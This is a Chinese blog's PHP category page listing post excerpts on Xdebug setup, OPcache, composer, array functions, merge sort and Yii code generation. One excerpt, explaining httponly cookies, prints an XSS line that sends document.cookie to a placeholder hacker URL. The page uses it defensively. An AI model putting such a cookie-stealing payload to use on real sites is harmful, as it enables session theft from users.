随笔分类 -  php

php code
摘要:1.下载 如果PHP版本是7.2以上的必须要下载Xdebug 2.6.0, 因为Xdebug 2.5.5只支持[5.5.0, 7.2.0) checking Check for supported PHP versions... configure: error: not supported. Ne 阅读全文
posted @ 2017-12-11 22:26 Thomas_188 阅读(238) 评论(0) 推荐(0)
摘要:1.介绍 OPcache 通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能, 存储预编译字节码的好处就是 省去了每次加载和解析 PHP 脚本的开销 2.配置 2.1 opcache.validate_timestamps boolean 如果启用,那么 OPcache 会每隔 阅读全文
posted @ 2017-06-20 17:48 Thomas_188 阅读(236) 评论(0) 推荐(0)
摘要:1.升级 composer self update 阅读全文
posted @ 2017-06-07 23:37 Thomas_188 阅读(105) 评论(0) 推荐(0)
摘要:从数组中随机取出一个或多个单元 阅读全文
posted @ 2017-02-04 10:19 Thomas_188 阅读(99) 评论(0) 推荐(0)
摘要:note: 为数组的每个元素应用回调函数 阅读全文
posted @ 2017-02-04 09:52 Thomas_188 阅读(91) 评论(0) 推荐(0)
摘要:1.归并排序 $a = [1, 4, 6, 8, 10, 14, 16]; $b = [2, 3, 5, 8, 9, 11]; function merge_sort($a, $b) { $a_i = $b_i = 0; $count_a = count($a); $count_b = count( 阅读全文
posted @ 2017-01-01 20:55 Thomas_188 阅读(1115) 评论(0) 推荐(1)
摘要:1.生成cookie的时候设置httponly为true 如果脚本王子在A网站写入一段js代码: window.open('黑客的url?c='+document.cookie) 当用户访问到这个页面的时候,就把当前用户在A网站的cookie发送到黑客的网站,这样黑客就顺利拿到这个cookie,就可 阅读全文
posted @ 2016-12-27 15:23 Thomas_188 阅读(157) 评论(0) 推荐(0)
摘要:1.数组尾部添加元素 $arr = [1,2,3,4,5]; array_push(array &$arr,5); 2. 数组指定列,组成新数组 $arr = [ ['name' = 'tom' , 'age' = 18], ['name' = 'jerry' , 'age' = 19], ]; $ 阅读全文
posted @ 2016-11-27 17:24 Thomas_188 阅读(175) 评论(0) 推荐(0)
摘要:1、添加模型 ./yii dev gii/model tableName=tableName generateLabelsFromComments ns='app\models\base' modelClass=BaseXXXX overwrite 2、添加控制器 ./yii dev gii/cru 阅读全文
posted @ 2016-04-09 16:49 Thomas_188 阅读(164) 评论(0) 推荐(0)